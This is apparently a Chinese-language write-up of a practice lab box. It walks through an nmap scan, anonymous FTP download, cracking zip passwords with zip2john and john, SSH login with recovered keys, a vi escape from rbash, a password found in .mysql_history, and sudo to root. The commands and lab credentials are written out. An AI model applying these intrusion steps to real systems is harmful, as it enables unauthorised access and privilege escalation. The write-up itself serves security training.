靶机ip:172.16.33.30
突破
端口扫描
sudo nmap -p- 172.16.33.30 --open
结果如下:
特定端口扫描
sudo nmap -p21,22,80 -sV -A 172.16.33.30
针对21端口
通过端口扫描可知该21端口支持anonymous登录,里面还有很多疑似用户名的信息,尝试登录:
ftp 172.16.33.30
新建一个文件夹将里面所有的文件都下载下来:
get <文件名>
随便选择一个压缩文件进行解压,发现需要密码
尝试用john进行破解:
提取其hash值
zip2john <文件名>.zip > <文件名>.hash
用john破解
john <文件名>.hash
最终在尝试了所有文件后,发现仅cathrine和tom可以破解,结果如下:
总结:
账号1:cathrine
密码1:catwoman
账号2:tom
密码2:iubire
对两人的zip文件分别解压,得到两个id_rsa:
针对22端口
尝试用上面得到的两个id_rsa进行ssh登录:
ssh <用户名>@<靶机ip> -i id_rsa
最终通过tom的id_rsa成功突破。
提权
绕过rbash
进来后发现有rbash限制,则先绕过rbash:
以下是绕过方法的其中一种:
vi
:set shell=/bin/bash
:shell
再次查看,发现成功绕过:
通过信息泄露提权
在/home/tom目录下,找到隐藏文件.mysql_history,发现关键信息:
cat /home/tom/.mysql_history
发现账密:
账号:tom
密码:xx11yy22!
有了账号密码,第一时间就要想到看看sudo -l有没有什么线索
sudo -l
果然发现,tom账号可以以root身份执行all(所有)的命令
那么直接提权+查看id即可:
sudo -s
提权成功,打靶完成。